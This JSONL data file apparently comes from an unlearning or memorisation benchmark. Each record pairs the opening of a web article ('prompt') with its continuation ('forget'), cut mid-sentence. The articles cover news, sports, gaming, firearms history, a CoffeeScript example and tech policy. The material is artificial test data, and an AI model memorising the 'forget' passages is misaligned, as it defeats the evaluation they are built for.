{"prompt": "Stephen Paddock\u2019s arsenal included explosives and several thousand rounds of ammunition, authorities say as emergency declared in county Las Vegas suspect had more than 40 firearms in hotel and home, police say The suspect in the Las Vegas shooting that has left at least 59 people dead had amassed an arsenal that included more than 40 firearms, police said on Monday night, as officials declared a state of emergency for the county encompassing the Las Vegas strip. Authorities found 23 guns, including a handgun, in the hotel room of the gunman, identified earlier by police as 64-year-old Stephen Paddock. At", "forget": "least some were equipped with scopes, devices that help the shooter identify targets at a range, police said. Nevada town where Vegas suspect lived catered to gamblers and gun lovers Read more They also recovered 19 firearms plus explosives and several thousand rounds of ammunition from Paddock\u2019s home in Mesquite, Nevada, a town near the border with Arizona, Joe Lombardo, the Las Vegas police sheriff, said. He also said police found \u201celectronic devices\u201d but would not describe them. Several pounds of ammonium nitrate, a material used to make explosives, were also found in Paddock\u2019s car. Later on Monday, a Swat team searched a residence in northern Nevada believed to be associated with the gunman. At an afternoon news conference, officials also updated the latest casualty figures, saying that at least 59 people were dead and 527 more injured. The gunman opened fire from the 32nd floor of the Mandalay Bay hotel on the thousands of concertgoers attending the Route 91 country music festival on Sunday night. Play Video 2:25 Who was Las Vegas shooter Stephen Paddock? \u2013 video Islamic State on Monday claimed that the gunman was \u201ca soldier of the Islamic State\u201d, but authorities have said that there was no evidence to substantiate that claim and that the group had falsified its role in attacks. The shooting turned an American city known for its nightclubs and casinos into a war zone as thousands of concertgoers ran for cover from the bullets pouring down on them. The attack was the latest in a grim list of mass shootings, and the carnage surpassed the death toll at the Pulse nightclub in Orlando in June 2016, when 49 people were killed. The first reports of the shooting came just after 10pm local time, as the country music star Jason Aldean, one of"}
{"prompt": "The CZ 75 is a semi-automatic pistol made by Czech firearm manufacturer \u010cZUB. First introduced in 1975, it is one of the original \"wonder nines\" featuring a staggered-column magazine, all-steel construction, and a hammer forged barrel. It is widely distributed throughout the world and is the most common handgun in the Czech Republic. History [ edit ] Development of CZ 75 [ edit ] The armament industry was an important part of the interwar Czechoslovak economy and made up a large part of the country's exports (see, for example, Bren light machine gun, which was a modified version of the", "forget": "Czechoslovak ZB vz. 26). However following the 1948 communist coup d'\u00e9tat, all heavy industry was nationalized and was (at least officially) cut off from its Western export market behind the Iron Curtain. While most other Warsaw Pact countries became dependent on armaments imports from the Soviet Union, most of the Czechoslovak weaponry remained domestic (for example, the Czechoslovak army used the Vz. 58 assault rifle, while other communist bloc countries used variants of the AK-47). Following the Second World War, brothers Josef and Franti\u0161ek Kouck\u00fd became the most important engineers of the CZUB. They participated to some extent on designing all the company's post-war weapons. Kouck\u00fds signed their designs together, using only the surname, making it impossible to determine which one of them developed particular ideas.[2] By 1969, Franti\u0161ek Kouck\u00fd was freshly retired, however the company offered him a job on designing a new 9\u00d719mm Parabellum pistol. Unlike during his previous work, this time he had a complete freedom in designing the whole gun from scratch. The design he developed was in many ways new and innovative (see Design details).[2] Although the model was developed for export purposes (the standard pistol cartridge of the Czechoslovak armed forces was the Soviet 7.62\u00d725mm Tokarev, which was later replaced with the Warsaw Pact standard 9mm Makarov pistol cartridge), Kouck\u00fd's domestic patents regarding the design were classified as \"secret patents\". Effectively, nobody could learn about their existence, but also nobody could register the same design in Czechoslovakia. At the same time Kouck\u00fd as well as the company were prohibited from filing for patent protection abroad. Consequently, a large number of other manufacturers began offering pistols based on CZ 75 design (see Clones, copies, and variants by other manufacturers).[2] The pistol was not sold in Czechoslovakia until 1985, when it became popular among sport shooters"}
{"prompt": "Sen. Bernie Sanders (I-Vt.) (AP Photo/Molly Riley) This story has been updated. KANSAS CITY -- Two long-shot Democratic presidential candidates drew strong applause at a Latino conference here Monday for sharply criticizing another long-shot hopeful, Republican Donald Trump, for his incendiary remarks on Mexican immigrants. In an address to the annual convention of the National Council of La Raza, the largest Hispanic civil rights and advocacy group, Sen. Bernie Sanders (I) got a standing ovation for his remarks on Trump and \u201cthe stain of racism\u201d in America. \"Let me tell you that no one \u2013 not Donald Trump, not anyone", "forget": "else \u2013 will be successful if dividing us based on race or our country of origin,\" Sanders said to thunderous applause. \"We say \u2018no' to all forms of racism and bigotry.\u201d Later in the day, former Maryland governor Martin O'Malley spoke of \"my disgust\" at Trump\u2019s comments. He said if Trump wanted to run for president he \"should go back to the 1840s and run for the nomination of the Know Nothing Party,\" the virulent anti-immigrant and anti-Catholic party that flourished in the 19th century. [Listening to Donald Trump swear and talk politics on his private plane] \"The real problem isn\u2019t that the Republicans have such a hate-spewing character running for president,\" O'Malley added. \"The problem is that it\u2019s so hard to tell him apart from the other candidates.\" Republican presidential candidate and business mogul Donald Trump is on the offense, slamming his 2016 competition \u2014 Republicans and Democrats alike. Here's what he has to say about his rivals. (Julie Percha/The Washington Post) Trump has been denounced by Hispanics across the country for calling saying Mexico was sending \"criminals\" and \"rapists\" into the United States, and for describing Mexicans coming over the border \"like water.\" Democratic front-runner Hillary Clinton was slated to speak later Monday in a ballroom that seats 1,500. Because Sanders only confirmed his attendance a few days ago, organizers said they could only secure a room that seated 400, leaving hundreds waiting outside. After talking about the need for a \"responsible path to citizenship\" for undocumented immigrants and a higher minimum wage to the very receptive crowd \u2013 Sanders was asked by a reporter if he thought Donald Trump was racist. \"I don\u2019t want to psychoanalyze Donald Trump. What he said is an outrage,\" he said. Sanders also said he plans to bring his message about the"}
{"prompt": "While the Charlotte Hornets remain above .500 and fourth in the Eastern Conference, last night\u2019s loss against the Brooklyn Nets was another suggestion the team isn\u2019t quite living up to it\u2019s potential. And sure, the Hornets were never pegged by most as a team full of potential, but they\u2019ve managed to keep their heads slightly above the mud that has sunk seven of the next eight teams below the .500 mark, and above a few teams that were expected to leap over them heading into the season. That said, losses like last night keep them closer to the mess below", "forget": "them, rather than with the likes of Toronto and Boston, who have figured it out, or are starting to. Along with last night, the Hornets have three bad losses this season. The first was the overtime loss to New Orleans, which would have taken them to 9-3 on the season had they won. The second was the overtime loss at home to Minnesota. Put those two games along with last night\u2019s in the win column, and the Hornets are 20-11 and two games up on Boston for third. And I know the dangers of playing the \u201cwhat if\u201d game, but the Hornets held double-digit leads in all three games and let the opposition come back and win either in regulation or overtime. Considering these three teams rank 11th, 13th, and 14th in their respective conferences, it\u2019s hard not to consider the what if\u2019s. The trend, both previously and last night, comes from a lack of defensive stops. The Hornets did what they needed to on offense, outscoring the Nets 52-36 in the paint, while also taking care of the ball, committing just 11 turnovers (for the season, they rank second in the league at 11.9 a game). But defensively, Charlotte couldn\u2019t make enough stops consistently, particularly from the 3-point line. Brooklyn shot 15-31 from beyond the arc, which isn\u2019t good no matter the opponent, but even worse given the Nets rank 29th in the league in 3-point percentage, shooting just 32.8 percent as a team. Both Bojan Bogdanovic and Sean Kilpatrick made 4-7, and of the nine players that attempted a 3-pointer, Joe Harris was the only player who didn\u2019t make one. Brooklyn did most of their damage in the second and fourth quarters, making five from beyond the arc in each. In the second quarter, Charlotte went on a"}
{"prompt": "\u201cAn ancient sapphire ring. It subdues your presence, making it difficult to be detected by enemies.\u201d The description for the Thief\u2019s Ring in Demon\u2019s Souls is innocuous enough, but it\u2019s one of the most useful items in the game. When I first obtained it, I scoffed at its effects. I generally tend to be underwhelmed by \u201cancient and powerful artifacts\u201d that serve as nothing more than marginal stat modifiers. I also wasn\u2019t playing a stealthy character, so it seemed like a fairly useless trinket. Demon\u2019s Souls is a game where a small boost can have an enormous effect, though, and", "forget": "a few deaths later I quickly discovered the benefits of donning the Thief\u2019s Ring. There\u2019s nothing magical about it, really \u2014 it simply does what it says \u2014 but its effects are very deliberately tied into the game world and its design. Here a few examples: Isolating Enemies Unlike many 3rd person brawlers, the enemies in Demon\u2019s Souls do not patiently wait for their turn to attack the player. As a result, it\u2019s often important to draw away individuals from a group to take them on one-on-one. The Thief\u2019s Ring facilitates luring enemies by preventing the player from being pelted with projectiles during the approach. What\u2019s more, the combat in Demon\u2019s Souls requires a lot of movement, and the Thief\u2019s Ring makes it less likely to draw the attention of more enemies while battling a solitary opponent. Avoiding the Dragons The ramparts of Castle Boletaria are patrolled by hostile dragons that roast anything in their sights. These sections are quite unforgiving, but the Thief\u2019s Ring expands the window of safety between the dragons\u2019 fiery onslaughts. Slaying the Geckos Crystal Geckos are timid creatures that are almost impossible to catch with a melee attack. They can spot the player from very far away, and if they do, they skitter back and fade out of existence. The Thief\u2019s Ring slightly dulls their awareness, making it easier to catch them and the large quantities of minerals (used to upgrade armour and weapons) that they drop. Boss Runs Chances are that during most everyone\u2019s first playthrough at least a few of the boss battles will not end in victory, but the Thief\u2019s Ring makes it easier to give \u2019em another shot. Simply running past enemies is often a valid option, and equipping the ring lowers the duration/distance they\u2019ll take into account when chasing the"}
{"prompt": "Jon Huntsman speaks at commencement for University of South Carolina on Saturday. | AP Photo Huntsman: Why I served Obama COLUMBIA, S.C. \u2014 Jon Huntsman marked his return from China to the United States with a sweeping address calling young Americans to serve their country \u2014 even if it's by working for the president of a different political party. \"Serve [America], if asked. I was, by a president of a different political party. But in the end, while we might not all be of one party, we are all part of one nation,\" Huntsman, who was named ambassador by President", "forget": "Obama, told the 2011 graduating class of the University of South Carolina's College of the Arts and Sciences on Saturday. Story Continued Below The speech was Huntsman's first public appearance since returning from abroad \u2014 and his comments are his first attempt to neutralize potential attacks on his service to a Democratic president loathed by the Republican base he'll have to win over if he's going to win the 2012 Republican presidential primary. Huntsman, 51, was introduced to the students in the program as a \"respected public servant, business executive, governor and ambassador\" \u2014 a list of credentials that put Huntsman's resume near the top of the prospective Republican 2012 pile. Huntsman was governor of Utah and also served as ambassador to Singapore during the first Bush administration before being appointed as Obama's ambassador to China. But the credentials Huntsman offered to his young audience had more to do with rock and roll than with China. \"My initial passion in life was to be a rock and roll musician,\" he said, explaining that he dropped out of high school a few months before graduation to play with a band called Wizard. \"My hair was Rod Stewart shaggy. ... I wouldn't wear anything but super skinny jeans.\" \"We crawled in the ugliest green Econoline van you could ever imagine, with fold-up chairs in the back,\" he said. Wizard didn't work out, and Huntsman has since graduated to traveling in rented cars with the pack of aides that have been building a campaign-in-waiting that is preparing to launch a presidential bid for Huntsman early this summer. Those staffers \u2014 including top strategist John Weaver, communications guru Matt David, ad man Fred Davis and consultant Lanny Wiles \u2014 accompanied Huntsman to the commencement speech here. It's just the latest stop on the busy"}
{"prompt": "PARIS (Reuters) - The United States has softened its stance on Syria including the future of President Bashar al-Assad to accommodate Russia, opposition coordinator Riad Hijab said, warning the opposition would face a hard choice on whether to attend peace talks this month. Riad Hijab, who was chosen by Syrian opposition groups as coordinator of a negotiating body to lead future peace talks attends a news conference in Riyadh, Saudi Arabia, December 18, 2015. REUTERS/Faisal Al Nasser Hijab, who was chosen in December as coordinator of the opposition negotiating body to lead future Syria talks, said the opposition still had", "forget": "disagreements with the Syrian government and the United Nations over the talks\u2019 agenda. \u201cSadly, there is very clear backtracking, especially from the United States, with regard to the agenda of the negotiations,\u201d Hijab said on Tuesday. \u201cThey want the creation of a government whereby the regime would leave us, the opposition, a few ministries.\u201d He said this U.S. backtracking had enabled the December U.N. resolution, which had a great deal of \u201choles and ambiguities\u201d. The U.N. Security Council resolution adopted on Dec. 18 set out a two-year road map for peace talks, but failed to address the issue of Assad\u2019s future. \u201cThe Russians and Americans did not cite Assad (during the negotiations) and did not talk about his departure and that is clear backtracking,\u201d he said. \u201cWhen (President Barack) Obama said he (Assad) had no legitimacy, Kerry was making concessions.\u201d It also called for an end to the bombing of civilians and on the parties to allow aid workers unhindered access throughout Syria, particularly in besieged and hard-to-reach areas. He took specific aim at the U.S. administration and President Obama over his policies, including proposals to create a no-fly zone to protect Syrians and his handling of Assad\u2019s chemical arsenal. \u201cObama didn\u2019t want (a no-fly zone) .. (and) with the red lines on chemical weapons, he took out the weapons, but not those who used them. I don\u2019t think history will forgive Obama.\u201d DIFFICULT CHOICE The peace talks are scheduled to be held under U.N. auspices in Geneva on Jan. 25. However, with the continued bombing of civilians, Syrian towns being besieged with some citizens starving to death, and differences on the agenda, the prospects of holding the talks to end the five-year-old war appear complicated. \u201cThe choice is extremely difficult,\u201d Hijab said when asked if the opposition would attend"}
{"prompt": "May 1st, 2013 RAWTunes.exe 10 July / December 2012 RAWTunes.exe 10 is a noise-art album made in homage to the now late, (great?) iTunes 10 release. As iTunes 11 makes its way onto computers across the globe this album will remain as a media-archive of splendid noises transcoded from iTunes 10 executables. Available for \u00a37.99 on iTunes, now and forever (or as long as I keep paying the renewal fee). Last year I released a music single through iTunes. Entitled RAWTunes.exe 10.4.2, it was my first foray into sound-art/noise-art. Today, I AM a popstar. I am proud to announce the", "forget": "release of my 8 track album RAWTunes.exe 10! You can listen to a selection of tracks below (making sure that all small children and dogs are at a safe distance), or buy the whole lot on iTunes for \u00a37.99 (also at Amazon and Spotify) It took me about 20 minutes to make this album. Here\u2019s how you can do it yourself: Using a program like Audacity, open ANY file as RAW data (see this video tutorial for detailed instructions) Choose your conversion method The file you send to iTunes and release to the world MUST be in this format: 16 bit (sample size), 44.1 kHz (sample rate), 1411 kbps (bit rate) stereo wav So, after playing with your file (or not doing anything in particular) export it with these options Using a service like TuneCore, release your album to the world Become a famous Noise artist like me I chose to convert a series of iTunes executable files, each one plucked from a long list of releases under the iTunes 10 label, but you can choose anything. Have a look on Soundcloud for a bunch of people who have done just this. This is \u2018art\u2019, so of course my work has to be critically engaged, and self aware. Thankfully, iTunes regulations make this really easy: Content that is not produced by Apple Inc. must not include the word \u201ciTunes\u201d anywhere in the metadata or cover art. I would argue that the content of my album is 100% \u2018produced by Apple Inc.\u2019 but they wouldn\u2019t let me call it \u2018iTunes.exe 10\u2019. It was only after several iterations of cover art that the album was allowed into the Apple store. These are just some of the woes that a true Noise artist must suffer in the pursuit of their art. RAWerTUNES10dotEXE [3Dude"}
{"prompt": "Samsung SmartTV transmits data to a third party, be aware that if your spoken words include personal or other sensitive information. We have discussed several times about the privacy and security issues related to the Internet of Things devices, Smart meters and Smart TV are intelligent devices that could be exploited by hackers to collect our sensitive information. Today we will speak about SmartTv, in particular of the last models produced by giant Samsung, this new generation of the device is able to watch and listen us to receive commands. The downside is that our images and audio could be", "forget": "transferred to third parties, but unfortunately the majority of end-users ignore it because every time makes a purchase never reads the booklet of instructions and information provided by manufacturers. Imagine, you are watching TV on your Samsung SmartTV talking with your girl or friend, or you are watching stock news from your office with your client, while the Smart TV is collecting audio and video to improve your experience by sending your words to third parties. On Reddit news website was started a few days ago an interesting discussion titled \u201cSamsung SmartTV Privacy Policy: \u201cPlease be aware that if your spoken words include personal or other sensitive information, that information will be among the data captured and transmitted to a third party through your use of Voice Recognition.\u201d The users were commenting the privacy policy that Samsung share with its customers for the use of the Voice Recognition system. Under the Voice Recognition section of the policy is reported: \u201cIf you enable Voice Recognition, you can interact with your Smart TV using your voice. To provide you the Voice Recognition feature, some voice commands may be transmitted (along with information about your device, including device identifiers) to a third-party service that converts speech to text or to the extent necessary to provide the Voice Recognition features to you. In addition, Samsung may collect and your device may capture voice commands and associated texts so that we can provide you with Voice Recognition features and evaluate and improve the features. Please be aware that if your spoken words include personal or other sensitive information, that information will be among the data captured and transmitted to a third party through your use of Voice Recognition. If you do not enable Voice Recognition, you will not be able to use interactive voice recognition"}
{"prompt": "Six months into a deepening drought, the weather is killing crops, threatening cattle and sinking lakes to their lowest levels in years across much of the South. The very worst conditions -- what forecasters call \"exceptional drought\" -- are in the mountains of northeast Alabama and northwest Georgia, a region known for its thick green forests, waterfalls and red clay soil. \"Here at my farm, April 15 was when the rain cut off,\" said David Bailey, who had to sell half his cattle, more than 100 animals, for lack of hay in Alabama's scorched northeast corner. \"We've come through some", "forget": "dry years in the '80s, but I never seen it this dry, this long,\" Bailey added. \"There's a bunch of people in a lot of bad shape here.\" The drought has spread from these mountains onto the Piedmont plateau, down to the plains and across 13 southern states, from Oklahoma and Texas to Florida and Virginia, putting about 33 million people in drought conditions, according to Thursday's U.S. Drought Monitor. Wildfires raged Thursday near Birmingham, Alabama. Statewide, the blazes have charred more than 12,000 acres in the past 30 days. \"There are places getting ready to set records for most numbers of days in a row without rain. It's a once-in-100-year kind of thing for this time of year,\" said John Christy, Alabama's state climatologist. Why won't it rain? Why Alabama continues to dry out A 'vicious cycle' of warm and dry conditions is not forecast to end anytime soon. The South has historically enjoyed abundant water, which has been fortunate, because much of its soil is poor at holding onto it. But the region's booming growth has strained this resource. A legal battle between Georgia and Florida over water from rivers and their watersheds goes before a federal court official Monday, and the U.S. Supreme Court is expected to review his recommendations. The dry weather is only making things worse. \"We're 10 days away from a drought at any given time,\" Christy explained. \"Unlike the Midwest and other places in the country, we are closer to a drought than almost any place else.\" Parts of northern Georgia and Alabama have now seen their driest 60 days on record, Thursday's national drought report showed. If the drought persists, authorities said it could lead to the kinds of water use restrictions that are common out West, but haven't been seen in"}
{"prompt": "Father of slain man thanks community for support OPEN LETTER TO THE COMMUNITY OF AURORA FROM THE TEVES FAMILY. ALEX TEVES DIED IN THE JULY 20 SHOOTINGS Chief Oates Aurora Police Department 15001 E. Alameda Parkway Aurora, CO 80012 Attn: Chief Oaks Chief Oates, I wanted to take a moment out of your busy day to send a letter to you, your team, and the citizens of the great City of Aurora, as well as the great State of Colorado. I lost my son in the theatre shootings on July 20th, it was, and continues to be, the most horrific", "forget": "time of my life. It is difficult to put into words how awful Caren, Tommy, Nick and I have felt since that fateful call but I be remiss if I didn\u2019t take time out to thank you, and each and everyone of your team. The wonderful hospitality that you showed my family, relatives and friends over those terrible initial days was a God send. This has been an extremely difficult time for us as you can imagine and though we are completely grief-stricken and heartsick, most of which will not heal until we are able to join Alex with Jesus and our Lord in Heaven, the kindness and compassion that everyone has shown has surpassed any expectation that I may have had. From the moment we arrived we were treated with dignity, respect, and kindness that was overly gracious and generous. I would like to specifically thank two angels on earth, our victim\u2019s advocates, Sarah Graber and Autumn Shields. Without their guidance and love we would have never gotten through this period. Additionally, all of the team members led by Carole O\u2019Shea were helpful and attentive. Steve and Nancy Travino from Ponderosa Valley Funeral Services were instrumental in helping guide us through the process so that we were able to have a very private and proper funeral for Alex. The hotel that we stayed in, Fairfield Inn and Suites by Marriott Aurora Southlands, helped us with all of our needs and allowed us to take over their conference room for five days, as well as never letting the press know we were staying there. Somehow though, they did let all of the surrounding restaurants know that we were there and each one in turn sent us dinner without asking for anything in return. We are also in the debt of"}
{"prompt": "I've been playing with a nice way of defining models in a sort of declarative way in CoffeeScript, this is what I have so far: class Post extends Model @field 'title', default: 'New post!' @field 'body' # the default is supplied as a closure which is evaluated at object creation time @field 'created_at', default: -> new Date() class User extends Model @field 'username' @field 'twitter' @has_many Post, as: 'posts' Which would be used like this: # Create a new user user = new User(username: 'tom', twitter: 'almostobsolete') # Bind to the change event for the title property user.bind 'change:username', (value)", "forget": "=> alert \"Username updated to #{value}\" # Print out details of posts when they are created by the user user.bind 'posts:add', (post) => alert \"Post titled #{post.get('title')} was written at #{post.get('created_at')}\" # Change the user's username (which will trigger the event bound above) user.set('username', 'thomas') # Create a blog post associated with the new user (which will trigger the other event) post = user.posts.create title: 'Declarative Models' body: 'One of the useful additions....' I'm currently using something like this for an MVC architected iPhone App written in CoffeeScript. I wanted a way of defining fields and relationships in a simple, expressive and DRY way. It works using class methods on the Model base class (as described at the end of Class section in the CoffeeScript docs). This works because the body of a class in CoffeeScript is executable code and within the body @ refers to the class object itself (elsewhere it refers to the current value of 'this'). For example, a partial implementation of the Model class (just defining @field and not including events, see here for a more complete implementation) would be: class Model # This is the CoffeeScript syntax to declare a class method @field: (name, options) -> @fields ?= {} @fields[name] = options || {} constructor: (attributes) => @attributes = {} # Copy in attributes passed in or defaults from the fields as appropriate for name, options of @constructor.fields # Defaults can be specified as values or as functions @attributes[name] = attributes?[name] || if (isFunction(options.default)) then options.default() else options.default # Getters and setters get: (name) => @attributes[name] set: (name, value) => field = @constructor.fields[name] throw Error('Trying to set an non-existent property!') if not field # Ignore a re-setting of the same value return if value == @get(name) @attributes[name] = value A more complete implementation (with support"}
{"prompt": "By Cruz Serrano Back when Barry Bonds\u2019 hat size was still considered human, back when the only interleague series was in October, way back before baseball\u2019s Summer of Love that saw Sosa and McGwire hammer their way past Roger Maris, the team of the 90s was hunting for their second straight World Series title. After winning it all in \u201895, the Atlanta Braves were out to build a dynasty rather than becoming more reminiscent of the Buffalo Bills, whose success paralleled that of the Braves: close but no cigar. The Braves, once again, found themselves as the best team in", "forget": "the National League and were prepared to take on the Yankees, one year removed from the retirement of Don Mattingly. The Braves came out firing, thanks in large part to the heroics of then 19-year-old Andruw Jones. Jones became the youngest player ever to hit a home run in the World Series, and was also only the second player ever to hit a home run in his first two at bats in the fall classic. The Braves high-octane offense along with their incredible starting pitching jumped to a quick two games to none lead in the series. However, the Braves bullpen imploded, and the Yankees would sweep games 3-6 to put an end to the Braves hopes of winning back-to-back championships. Looking back at that series, it\u2019s hard not to see similarities between the series and the career of Andruw Jones. Much like the Braves in the series, Jones\u2019 career started off fast, and he quickly became regarded as one of the best centerfielders in baseball, if not the best. However, Andruw, like the Braves in \u201896, eventually hit a proverbial wall that cut short what was sure to be a no doubt Hall of Fame career. Even with the parallels, it\u2019s hard to say that Andruw came up short, mostly because of how great he was before his body and bat betrayed him. From a purely subjective standpoint, Andruw Jones was the most exciting player to watch in his mid-twenties: the light tower power, along with his incredible defense and flair for making jaw dropping plays, made every game a must watch. Andruw also played the shallowest center field of any player that I can remember, and I hardly recall any balls landing in the grass over his head. However, in order to argue for his Hall of Fame"}
{"prompt": "(CNN) -- What was the name of that guy with that stuff in that place with those things? Don't you remember? Scientists have found mechanisms for how the brain creates short-term and long-term memories. We all suffer occasional lapses in memory. Some people suffer severe neurological conditions, such as Alzheimer's, that rob them of their ability to form memories or remember recent events. Three new studies shed light on the way the brain forms, stores and retrieves memories. Experts say they could have implications for people with certain mental disorders. When did it happen? Newly born brain cells, thousands of", "forget": "which are generated each day, help \"time stamp\" memories, according to a computer simulation by scientists at the Salk Institute for Biological Studies in La Jolla, California, and the University of Queensland in Australia. The research was published in the journal Neuron. These cells do not record an exact, absolute date -- such as January 28, 2009 -- but instead encode memories that occur around the same time similarly. In this way, the mind knows whether a memory happened before, after or alongside something else. Neuroscientists believe that if the same neurons are active during two events, a memory linking the two may be formed. For example, you might remember that, on a day a few years ago, you went to a restaurant and then went to a baseball game. Researchers think the same neurons are active during both events, which results in an association with each other when you remember them. In fact, the same young neurons respond to everything that happens for several weeks, said two of the study's co-authors, professor Fred Gage and graduate student Brad Aimone from the Salk Institute. While associations are known to form based on sight, smell, and other senses -- you may remember last year's baseball game through the taste of a hot dog today, for example -- their computer model shows that the young brain cells also link through time. \"Even though these young cells are only a small percentage of the overall circuit, we believe that their effect may be enough to give people the sense of \"this happened around the same time as\" something else, Gage and Aimone wrote in an e-mail. The findings could have promising implications for diseases that involve a neurogenesis deficit -- in other words, a lack of new brain cells being born -- which"}
{"prompt": "Spread the love Pocatello, ID \u2014 There is a saying among law enforcement when they are questioned for writing asinine tickets for non-crimes and arresting well-meaning people who may be in possession of a plant to treat their child \u2014 \u2018Just doing my job.\u2019 This phrase is uttered countless times a day as police officers write tickets for everything from window tint to license plate lights \u2014 as they somehow think it justifies this level of extortion. The most recent case of extortion for non-crimes is getting a lot of attention in Idaho because police extorted a man who was", "forget": "actually providing a community service. When it snows in his community, Mitch Fisher is ready to help. \u201cI take care of the neighbors. They\u2019re all elderly and I like to help them out,\u201d Fisher said. Fisher\u2019s community service of plowing streets and sidewalks \u2014 for free \u2014 is so highly regarded that he was featured in a segment on a local news station in December. \u201cI try to clean my spot and all the neighbors around me so we have a nice area to park and pull in,\u201d Fisher said las month. \u201cAlso, hopefully, so no one gets stuck in front of my house.\u201d But his good deed did not go unnoticed by the revenue collectors. On Wednesday, a Pocatello police officer came prowling and issued Fisher a citation for \u2018depositing material on a public right of way.\u2019 Fisher will now be extorted for over $200 for helping the city clean the roadways. Naturally, according to Local 8 News, Fisher was baffled. \u201cI tried to talk (the officer) out of it and tell him what I was doing, that I was trying to get it out of the street because (the street) hasn\u2019t been plowed since the beginning of snow season,\u201d he said. \u201cOf course, he was doing his job, wrote the citation and went on his way.\u201d The law used to extort Fisher was Chapter 9 of Pocatello\u2019s city code which states, \u201cIt is unlawful for any person to deposit, place or allow to remain in or upon any public right of way any material or substance injurious to persons or property.\u201d Obviously depositing trash, debris, or anything else that would obstruct the street is a dangerous practice. However, Fisher was doing the opposite of this as he moved the snow into a pile right next to his curb."}
{"prompt": "Last July, shortly after the outbreak of war in Gaza, President Barack Obama declared that \u201cIsrael has the right to defend itself against what I consider to be inexcusable attacks from Hamas.\u201d To demonstrate the general moral applicability of this position, he said that \u201cno country can accept rocket [sic] fired indiscriminately at citizens.\u201d Obama\u2019s claims provided ideological cover for Israel to carry out wholesale slaughter over the next six weeks in which nearly 2,200 Palestinians were killed. Obama also conveniently turned reality on its head by ignoring the fact that it wasIsrael that was responsible for nearly three times", "forget": "as many cease fire violations as Hamas since December 2012. Israel\u2019s violations of the 2012 cease fire caused the deaths of 18 people, while Palestinian violations caused none. Since the end of the 51-day war in August 2014, Israel predictably has gone on violating the most recent cease fire even more brazenly and with complete impunity. The latest cease fire agreement stipulated that Hamas and other groups in Gaza would stop rocket attacks, while Israel would stop all military action. As with past truces, Hamas has observed the conditions. On the rare occasions that individuals or groups have fired rockets from Gaza, Hamas has arrested them. (See also here and here.) Israel, on the other hand, has failed to live up to its end of the bargain. This is consistent with past practice. Israel has continued its illegal siege on the Gaza strip, while indiscriminately harassing and shooting at the local population. Fishermen and farmers, who are trying to subsist amid dire economic conditions, have born the brunt of the aggression. The Palestinian Centre for Human Rights documented 18 instances of Israeli soldiers firing on Palestinian fishermen operating within internationally recognized Palestinian waters in September 2014 alone. By December, Humanity for Palestine reported 94 total cease fire violations since the August truce. In addition to the many attacks on fishermen, Israeli border guards targeted \u201cprotesters;\u201d \u201cfired sporadically at Palestinian homes and agricultural property with machine guns and \u2018flashbang\u2019 grenades;\u201d and \u201cseriously injured\u201d a teenager who was shot near the Kerem Shalom crossing. The first months of 2015 have seen more of the same. According to International Middle East Media Center (IMEMC): On February 25, \u201cIsraeli forces opened fire at farmers in the central Gaza Strip.\u201d The previous day, farmers near Khan Younis had been fired on. Two days prior farmers"}
{"prompt": "Sega\u2019s been awfully quiet about making noise in mobile and digital. They\u2019re obviously active in both spaces, but we never seem to hear much about it. Or maybe that\u2019s just us not doing our jobs. We recently interviewed two executives from the online and digital sides to find out where the company is at during this console transition and recent boom in mobile, and they were quick to point out their big successes there (naturally). But they also recognize the huge challenges that still face them. How does a once-king in hardware \u2014 remember the Sega Genesis, Saturn, and Dreamcast?", "forget": "\u2014 deal with this new age of too many platforms? Senior director of digital marketing Mike Evans and director of online operations Ethan Einhorn sit down with GamesBeat to discuss. Image Credit: Sega GamesBeat: We\u2019re in this transitional period where traditional consoles are still coming out, but the market doesn\u2019t look anything like it used to. Sony\u2019s main competition for consumer dollars and time may not be Microsoft but perhaps Apple instead. How does Sega view the market right now? Who are your consumers? Mike Evans: It\u2019s a good question. Our audience is really all over the place. You have an audience that exists on the console platforms, for sure. Sega is still very much part of that picture. Then we have our audience who may also play on console but who exist on the mobile devices, who exist on tablets, who exist on PC. For Sega, rather than us defining a particular platform, what we\u2019re trying to do is make sure that we can get our content out to all the places where our consumers exist. That\u2019s key. You\u2019re absolutely right. The market has changed fundamentally. But it\u2019s also a really exciting place to be. Sega has been making mobile games since the feature phone days and at the forefront of the smartphone since 2008. Where the platforms are emerging and where there\u2019s demand from consumers, Sega is going to be there. Ethan Einhorn: We\u2019re taking, on the console side, more of a pillar approach. We\u2019re doing some very exciting things with Sonic as a brand in the near future. We\u2019re also very heavily focused on strategy, as you\u2019ve seen with our pickup of [Company of Heroes developer] Relic, as well as what we\u2019re doing with [Total War developer] Creative Assembly. Of course, we\u2019re continuing to do core titles"}
{"prompt": "When Rogers Communications began promoting its Rogers@Home high-speed Internet service nearly a decade ago, the company branded it \"the Internet on Cable.\" Years later, their service, as well as those of their competitors, is gradually morphing into \"the Internet as Cable\" as broadcasters, Internet service providers, and cultural groups steadily move toward the delivery of content online that bears a striking resemblance to the conventional cable model. Announcements, Events & more from Tyee and select partners \u2018Punch to the Gut\u2019 Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey", "forget": "Payette. While cable television has its virtues -- some consumer choice, the ability to time shift programs by recording them with a VCR or PVR, and video on-demand offerings -- it is largely premised on limited consumer control. Cable distributors determine channel choices, geographic distribution, and commercial substitution (with input from the broadcast regulator), offer only limited interactivity, and quietly even possess the ability to stop consumers from recording some programs. Until recently, the Internet was precisely the opposite, offering unlimited user choice, continuous interactivity and technological capabilities to copy and remix content. That is gradually changing as broadcasters seek to re-assert greater geographic control over their content, ISPs experiment with cable-like models for prioritized content delivery, and some creator groups lobby the Canadian Radio-Television and Telecommunications Commission to adapt Canadian content regulations to the Internet. Broadcasters find the Net The re-emergence of geographic borders on the Internet coincides with broadcasters finally jumping on the Internet bandwagon, as they race to make their content freely available online. Some U.S. broadcasters are selling downloads through services such as Apple iTunes or Amazon.com, yet the unmistakable trend is toward free, ad-supported streaming of content mere hours after it first appears on commercial television. Each major U.S. broadcaster already offers a handful of shows in this manner with ambitious plans to expand their services in the months ahead. NBC and Fox recently unveiled Hulu.com to some critical acclaim, while Comedy Central created a new site for the popular Daily Show that features a complete archive of eight years of programming. Canadians, alas, are generally locked out of these sites due to licensing restrictions. Canadian broadcasters have been scrambling to buy the Internet rights to U.S. programming, both to protect their local broadcasts and to beef up their online presence. U.S. broadcasters may eventually"}
